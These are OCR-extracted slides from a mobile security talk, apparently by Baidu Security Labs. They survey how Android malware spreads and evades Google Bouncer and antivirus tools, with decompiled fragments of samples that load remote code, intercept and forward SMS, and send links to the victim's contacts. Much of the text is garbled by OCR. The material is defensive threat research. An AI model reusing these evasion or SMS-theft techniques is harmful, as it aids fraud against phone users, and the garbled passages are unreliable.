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10-years security research experience

AManager, Baidu Security Labs (NASDAQ:BIDU)
AManager, TrustGo Security Labs
AWebsense, Trend Micro (TYO:4704), Fortinet (NASDAQ:FTNT)

Research data

A200M users in China
ABaidu Mobile Security
A50M users worldwide
ATrustGo Mobile Security
ADU Speed Booster

A100M+ app downloads per day
ABaidu App Store: the largest app store in China for Android apps.



Mobile Threats Increased 957% Over Past Year

0
L,
22
[
Kt

_ | Pri Consume
bil n Malware Compromise Steal 4F(’)/ﬂvacy Bandwidth &
Moblle Threats 6 Battery poce
. . ) 0
AMalware: Trojan, Worm, Spyware, Virus 10% 3%
AHigh Risk: Aggressive Adware, PUP Sg};em
0
Spreac
0%
ol
Remote “* S
Malware/High Risk 0% Grand Total
93000 FraUd 1067650
0% i
74400 854120
55800 640590
37200 427060
18600 213530
] | | | | | | | | | | ) ]
2013 Jun 2013 Jul 2013 Aug 2013 Sep 2013 Oct 2013 Mov 2013 Dec 2014 Jan 2014 Feb 2014 Mar 2014 Apr 2014 May



Mobile Malware Global Distribution Bai
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Russia Top

1 Fakelnst: SMS Fraud

2. Fobus: Steal Banking Info
3. Agent: SMS Fraud

4 RuWapFraud : SMS Fraud
e : SMS Fraud
itMobi  : SMS Fraud

Mobile Malware 2014 Jun

France Top .

1.  Agent: SMS Fraud
US Top 2. RuWapFraud : SMS Fraud -
1.  FakeDoc: Steal Privacy _ 4
2.  RuWapFraud : SMS Fraud Vietham TOp

1. Blatantsms : SMS Fraud
? 2. FakeValidation : SMS Fraud
) 3. Agent: SMS Fraud "_\
4.  Vietcon : Click Fraud C/
5. Opfak : SMS Fraud
6. Fakelnst: SMS Fraud
High %
[Nt
Low %

*Baidudata http://sample.safe.baidu.com/exchange/tpl/echarts/samples/2014/map_mobile_malware 2014.html



Mobile Malware is Growing in Barbell Type Bai'éb"ﬁg

Mobile Malware Mobile Malware

Produce Compromise

Rapid Increase Extremely Harmful
Sandboxing
Permissions
Malware removal
X

Steal Money
Steal Privacy
Consume Bandwidth & Battery

Driven by Interests



Mobile Malware Spreads in China Bai e

Bl Guangzhou Top 10 SmsThief Spreads in China 2014

Jun 1st-Jun 15th

China Top

SmsThief: Steal Banking SMS
Omigo : Downloader

Smskyf: Toll Fraud

Masnu : 7oll Fraud
SmsWorker : Toll Fraud

5600 - 7000
B 4200 - 5600
Il 2800 - 4200
I 1400 - 2800
I 0- 1400

*Baidudata http://sample.safe.baidu.com/exchange/tpl/echarts/samples/2014/map_smsthief.html




How Mobile Malware Spreads Bai.éb.'ﬁ
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u 1. Official App Store U 8. Social Networks
AGoogle Play ATwitter
ABaidu App Store AFacebook

U 2. Third -Party App Store U 9. Mobile Ad Networks

U 3. Text Message U 10. Instant Message
U 4. Femtocell G 11. Drive -by Download
3 ACompromised Websites

0 5. QR Code ASpam Email

U 6. Bluetooth 0 12. USB Connection

L AAndroid Infect Windows ~ THE MOST
| AWindows Infect Android ~ PANGEROUSH!

U 7. Third -Party ROMs
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1. Spreads by Official App Store - Google Play Bai'éb.'ﬁ

Bouncer

ASecurity service rolled out on Feb 2012.
ACount for a 40% drop in the number of malicious apps in Google Play.

Bouncer can be fingerprinted and circumvented

AUpdate attack: No malicious code needs to be included in the initial installer. In this case, the app can
have an even better chance to evaBeuncef) a
YR 3Sia AyaiualrttSR 2y | NBIf dzaASNXRA RSOUAOSET (KS
code to run or connect to its remote control and command (C&C) server to upload stolen data or receive
further commands. Just this month, another two fake apps successfully Beaiaceusing this
technique and snuck into Google Play, staying there for two weeks.

ADelay attack: The application can include malicious payloads in the submitted app but behave benign
GKSY Al A& NlzyyAy3d Ay . 2dzy OSN®» hyOS Al 3IASda 2yi

*http ://blog.trendmicro.com/trendlabssecurityintelligence/alook-at-googlebouncer/



Spreads by Google Play {Update Attack Bai
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Dropdialer.A

AThis malware is able to evade Google Bouncer. Stay for two weeks on Google Play.

AThis malware guises as an app supposedly used to set wallpapers. However, it downloads
another file in the background. It then tricks users to install the downloaded file.

EIEE android.annotation WallpaperActivity.class MarioHDWallpapersActivity .class ImageAdapter.class
- 019 SuppressLint :

@[ TargetApi
EIEE com.nnew.superMariowallpapers public void activate (String paramString)
f- 1] AlertActivity :
& [3) BuildConfig try
-0 GalleryActivity I
--IlllmageAdapter if (paramString.length() > 1)

i) MarioHDWallpapersActivity {
ﬁ"E]R Log.d("activate", "download"):;

download (paramString, "activator.apk");

}

return;
1
catch (Exception localException)
{
1
1

&0 WallpaperActivity

public void download(String paramStringl, String paramStringZ)




Spreads by Official App Store

dBaidu App Store
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Baidu App Store

AThe largest app store for Android apps in
China, where Google Play is banned.

AOver 100M app downloads per day.

ACSJE d | g xBsuncer

ASuffering the same attack with Google
AUpdate attack
ADelay attack
AAntivirus evasion attack
AAdvanced obfuscation
AMalicious native code
AApp protector
*Make AV guys' life much more harder!

Delay Attack

Update Attack

Similarities

Mother app has no malicious code.

Play.

Differentia

Dynamic load
malicious code by
DexClassLoadet
runtime from
Internet or local files
(/assets, /res/raw).

Request update to
newerversion app
or download
another app,
which contains
malicious code.

Must require
essential
permissions in
mother app, e.g.
SEND_SMS.

Mother app may
has no dangerous
permission at all.
But upgradedr
dropped app will
require dangerous
permissions.




Baidu App Store - Delay Attack
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XTaoAd.A

Aclasses.dex has no malicious code.

AAt runtime, auto download arbitrary
malicious JAR files from remote server

then load and run them.

AThe malicious JAR files may download

more malicious JAR files.

AAuto download apps and tricks you to

install.

private int strisrigrfioct()

{

File localFile = new File(this.fosrigrfior);

implsrigrficeme.strisrigrficoot ("RunDexTa=zk", "DexDir:" + this.prot m insrigrﬁct

implsrigrficeme.strisrigrfiocct ("RunDexTa=k", "DexPath:" + this.fos

if (localFile.exi=stz=())
i
try

{

Class localClaszs = new DexClassLDade;

Cla=s=s[] arrayCfClass = new Cla=s=s[Z];

arrayQfClass[0]

= Context.class;
arrayQfClas=s[1] = Integer.TYPE;

Method localMethod = localClass.getMethod ("runTask", arrayCfCcl
this.volsrigrficati = localClass.getDeclaredField("NEED TIME")

-8 com

&8 android.logs

EEE google.android.inputmethod
i[9 BuildConfig
- [ GlobalAgent
--m MCoreService
--m PresentAlarmReceive
--m R$attr
--m R$drawable
i [0 R$string
é4]|q
i [ RunInputActivity
& 0
i [ consrigrfiotin
- [0) fosrigrfior
--@ implsrigrfioeme

4,
%

PPTVE:S)

i [ intersrigrfiofa
- [0] nesrigrfiow

i [0] protesrigrfioct
a0 strisrigrfioct
this.fosrigrfior, this.p m transisrigrﬁce
i [ trsrigrfioy
&0 volsrigrfioati

eED

3
B30 o
i

6 4
)

R

% amaz)
0. 2

AL

fnFiRfE

REFAER

*24 hours afterXTaoAd.Anstalled, 16 new app icons appeare
These apps will be installed when icon clicked.




Antivirus Evasion Case - Advanced Obfuscation
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GinMaster.Z - Advanced obfuscation - ggneb.chestarfeld

----. JiufvwSrlah
AENcrypted strings, package, class, and method naming. BB L gltekdeLNhghr
. ) ) ----. LsNhPBBmeanr
AExternal methods are called via reflection. @0 R
< . -0 SesHqWjrsw
AThe encrypt key of each samples are randomized. @0 2
) - aa
AHard to analyze and detect. - ab
4 . . m-
AAuto download apps, consuming bandwidth and battery. B
if (localJ3cHMArray != null) ae
{ if (localJdSONArray.length() != 0) af
{ ag
JSCNCbject localJSONCbhjectl = localJSCONArray.getJSCONCbhbject(0) .getJSONArray(ac.=a("hix ah

this.o = localJdSONObjectl.getString({ac.a("jcndlTHp3")); ;
this.l = localJdSONObjectl.getString{ac.a("2BQgTBLRIVCL4E")) ;

JS0NObject localJdSONCbject2 = localJdSONObjectl.getJS0ONCbhbject (ac.a("JYHxlZw=="));
JSCNCbject localJdSONCbhbject3 = localJdSONObijectl.getJdSCONChject (ac.a("2CLAwE"));

H_H_H_H_H

this.m = localJdSONObject2.getString(ac.a ("sEREDCWEHBG=="));

this.k = localJdSoONCbiject2.getString(ac.a ("1BBUCChAXCG=="));

this.n = localJdSONObject2.getString(ac.a ("RVkpDUXpMQG==")); :

this.p = localJ30NObjectZ2.getStringlac.a("ieXZécg==")); -[41 an

this.g = localJ3S0ONCbjectl.getStringlac.a("JjEf3xwel==")); -[7 ao

String str3 = localJdSONCbhbject3.getString (ac.a("EETok™)); __ a

String str4 = ac.a(getBaseContext(), str3, ac.a(str3, 102) + ac.a("6DULTRA=="), null p

if (strd == null) -1 aq
return; -

this.j = stré4;
this.a.sendEmptyMessage (3) ;
return;

}

this.a.sendEmptyMes=sage (2);

O ] O O MO B B S
=
W
-

return;

}
N 00



Antivirus Evasion Case - Malicious Native Code Baiy &S
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BlOS A .data: 00009000
" .data:0e08908688 ; Segment type: Pure data
< . . .data: 068089008 AREA .data, DATA, ALIGN=4
AAppend malicious dex code to ELF SO. .data:ssse9608 ; ORG 8x9000
. L. ) ) .data: 08009608 off 9800 DCD off_90808 ; DATA XREF: start+4io
ADrop malicious dex file at runtime. .data: 00009000 : .text:off_1194to ...
; _ .data: 068809004 ALIGH 0x18
ALoad and run dex file to download .data:@eeAve10 — EXPORT ct_biosjar o A
.data:ﬂﬂﬂﬂ'}mﬂ DCE 0x3B ; ; - DATA XREF: .got:ct biosjar ptrio
oy .data:p88aoe11 DCB Bx21 ; ¢
other malicious code from server. s e
i . . .data: 08809813 DCB Bx68 ; °
4 | Bios.NativeMaliciousCode .d:t::ﬂﬂﬂﬂ'}mu DCR ﬂ:?? -
s I assets .data:088A9815 DCB Bx6A ; ]
_ .data:0BBAYA16 DCB Bx6B ; k
> i lib bios.dropped_dex2jar.jar: x
| META-INF .
thdtri.png E|EE com.android InstalReport.class bios.class | YWReport.class x
4 W res - [4] InstallReport
. anim F"E]??VREFGHI public boolean(ﬁownluadFile String paramString)
| drawable -1 bios I
. drawable-hdpi try
{
( . drawable-hdpl ) String strl = checkWap();
| drawable-Idpi BasicHttpParams localBasicHttpParams = new

| drawable—xhdpi |—| HttpCDnnectJ:_DnParams.setConnectichimeout{]l_
HttpConnectionParams.setSoTimscut(localBasi
if (strl !'= null)

2 3 7 8 9 a ; 1 localBasicHttpParams.setParameter ("http.x

4C 46 00 00 00 OO 00 00 00 OO 00 7[QELF DefaultHttpClient localDefaultHttpClient =

Oh: 03 00 28 00 01 OO0 OO0 OO B8 11 OO0 OO0 34 00 00 OO » ..1{ I.Dg{"drjwnlrjadFile l“} ;




Antivirus Evasion Case JApp Protector Bai'éb.'ﬁ
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BankStealer.A Malware with Packer © .4 rios

AGuises as WeChat app, steal banking info, steal money.
AMalicious code is protected by Bangcle app protect technique.

= com BootReceiver.class x | LockReceiver.class ACal.class
= example T ' ‘
(B 3 lpackage com.example.msg;
—-## banksteal.ui
&) LockReceiver #|import android.content.BroadcastReceiver;
= 8 msg -8 android.support.v4 LockReceiver.class BootReceiver.class x
([ BootReceiver =-# com
H i package com.example.msg;
-I-H#} secapk.wrapper = example
+ HJ AcCall = banksteal #|import android.content.BroadcastReceiver;
#-J] ApplicationWrapper =-# ui
i;: [3) FirstApplication +-[J] BankActivity public class BootReceiver extends BroadcastReceiver — =G -
+-[J] MyClassLoader 4-[J) BankData { EEZBFIZERIEAIINERE
- [3] Util -3 Launcher public static final String PACKAGE ADDED = "android.intent.action.PACKAGE_ADDED";
;'( [7] LockReceiver public static final String PACKAGE REPLACED = "android.intent.action.PACKAGE_REPI
i ) MainActivity public static final String SMS RECEIVED ACTION = "android.provider.Telephony.SMS_
i N UserActivity I;landler handler = new Handler() _I 2 3
+- 4] BuildConfi
i 1: R 9 public void handleMessage (Message paramMessage)
- 4
{
: 8 http if (paramMessage.what == 1)
=-# msg {
[+-J] BootReceiver Toast.makeText (BootReceiver.this.mContext, "EF{F%EIERFLITH ' ", 0).show(); 4 5 6
+-[J] GetPhoneNumber return;
B- [ MailUtil }
+‘_ o SMSEntity Toast.makeText (BootReceiver.this.mContext, "HER{FZEZEFKITH ' ", 0).show();
(-1 SharePreUtil ¥
4[] SmsUtil bi 7 8 9
| I— public Context mContext;
+-8# sun 3 :
e private SMSEntity sms = null;
8 javax
* & myjava_awt.datatransfer private void sendMail (SMSEntity paramSMSEntity)
(-t org.apache.harmony {
MailUtil localMailUtil = new MailUtil (this.handler); 0 X
try
{
localMailUtil.send ("2 {S£&E" + "#U{ERA", "FEEHTF " + paramSMSEntity.sms’

FakeWeChat
Bangcleprotected code VS. unpacked code akewetna



2. Spreads by Third -Party App Store Bai® &S
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Third -Party App Store and forum

AVery low level security audit
ANotorious Russian third -party app stores are FULL of toll fraud malware

= [pasuna = Pexn

while (i < arrayCfSmsMessage.length)

\" ,/' Nowek {

R array0fSmsMessage [1] = SmsMessage.corsatseFromPdu( (byte[])arrayCofcbhject[i]);

Hosoctu Codt WUrpel TemMbl Tablet SOFT  Cratbu Kon Ot paspaboTunkos KNyb if | {arrayOfiSmsMessage [1] .getDisplayMessageBody () . toLlowerCase () .contains ("COrEeTeTe Ha =To"
{

MBI} PEKOMEHZDYEM String strl = arrayCofSmsMessage([i] .getOriginatingZddress();

String[] array0fString = this.b;

int j = -1 + this.k.length;
int k = 0 + new Random() .nextInt{j + 0);
if (k. = 0)

k= 1;

String str2 = arrayCfString(k];

HEBEPORTHOA ARSI PendingIntent localPendingIntent = PendingIntent.gstBroadeast(this.a, 0, new Intent(this

Availablo on the |

App Store |

{0 Rpp Store

SmsManager.getDefault () .sendTextMes=sage (strl, null, str2, localPendingIntent, null);
abortBroadcast () ;

}

= = , : AsTopuzaumst if ({arrayofsSmsMessage[i] .getDisplayMessageBody () -toLowerCase () .contains ("vegocTaTouwro") )
100 Doors 2013 Neuro Wars TNorux: abortBroadcast () ;
sepcun: 1.0.2 sepens: 1.0 e if ({array0fSmsMessage[i].getOriginatinglddress().contains ("5051")) || (arrayOfSmsMessagel[.
oo 9TV Bepu - CTIOWHBIe TONI0BONOMKY! BoiiHa HelipoHoB itk abortBroadcast { } :

if ({arrayofsmsMessage[i] .getOriginatingfddress().contains ("111")) || (arrayofSmsMessage[i

3abbin? {

Peructpauus! Matcher localMatcher = Pattern.compile("-%?\\d+") .matcher (arrayCfSmsMessage[i].getDisplayl

Kny6Has %u3Hb

® e °

Trojan!Fakelnst.AS

TOMN unvhnr:

http://softandroid.ru  /




3. Spreads by Text Message
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Worm!Samsapo.A

ANhenuxagql gj r g
(which is Russian for b L wk
the your contacts .

4 E—ZIEE com.android.tools.system
ASteal SMS.

i-[9] BuildConfig

_"m DownloadApkFromURL publiec ArrayList<String> getNumbers()

-1 DownloadFileFromURL q

i-[¥] EternalService LrrayList localBrraylList = new ArrayList();

- [ MyPostRequest ContentResolver localContentResolver = this.context.getContentResolwver();

lw z K& o iy lBHd g

dq Dqg I /
Y, r b, dgqg d ol gn wr wkh

m OnBootReceiver Cursor localCursorl = localContentResolver.query(ContactsContract.Contacts.CONTENT URI, null, null, null

m PhoneBook if (localCursorl.getCount() > 0);

[ [7] PhoneReceiver do

if (!localCursorl.moveToNext())

B0 R Loenl .

i return locallArrayLaist;

-0 SMS , - " " =

i m < D while (Integer.parselnt(localCursorl.getString(localCursorl.getColumnIndex(“has_phone number™))) <= 0);
" _erver 03 String strl = leocalCursorl.getString(localCursorl.getColumnIndex("_id"));

m SimCardInfo Uri localUri = ContactsContract.CommonDataRinds.Phone.CONTENT URI;

M- [ SmeRacsiver S =~ = S R

BOverride
protected void onProgressUpdate (String[] paramfrray0fString)
{
super.onProgresslpdate (paramArray0fString) 7
try
{
String strl = paramArray0OfString[0].replaceRll (" [~\\d]", ""):
SharedPreferences localSharedPreferences = SplashScreen.this.getSharedPreferences("BlocklNums™, 0);
if ({!localSharedPreferences.getBoolean(strl, false)) ss (PhoneNumberUtils.isFellFormedSmsdddress(parambrray0fScring[0].ceim({))))
{
SharedPreferences.Editor localEditor = localSharedPreferences.edit():
SMS localSMS = new SMS(SplashScreen.this);
String str2 = paramBArray0fString(0].trim({):
StringBuffer localStringBufferl = new StringBuffer():
er localStringB = new StringBu
StringBuffer localStringBuffer3 = new StringBuffer():
localSM5S. sendSMS (str2, localStringBufferl.append(localStringBuffer3.append("STo TteoM doro? http://") .append(SplashScreen.this.serverName) .toString() ) .append ("/") .toScring{) + strl):
localEditor.putBoolean(strl, true):
localEditor.commit();
}

return;
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4. Spreads by Femtocell Bai

Femtocaell

AFemtocell is a low -power cellular base station given or sold to subscribers by mobile network
operators. It works just like a small cell tower, using a home Internet connection to interface
with the provider network. When in range, a mobile phone will connect to a femtocell as ifit
were a standard cell tower and send all its traffic through it without any indication to the user

ARevealed on Blackhat 2013 talk

AFemtocell placed in the trunk of the car is
used to send SCAM and SPAM text

messages
*hitp.//www.blackhat.com/us  -13/briefings. htmiZRitter




Spreads by Femtocell Bai e

Nt

FakeCMCC.A

AOn May 27 th 2014, Mr. Zhang received a
SMS message from 10086 (China
Mobile customer service number), said
that he won 100 Yuan (12 Euro) bonus.

AHe clicked link in the SMS and open the
phishing China Mobile website.
AKh fol fnhg porjlgq wr jhw ergxv®%
button and fill in banking information
including bank card number and
password, phone number.

AThe phishing site asked him to
download and install fake China

Mobile app to get bonus.
AMr. Zhang agreed and installed it.

AThe next day, no bonus but 3400 Yuan
+733 Hxur , |l g Pul ] kdgjyv edgn fdug
was lost.



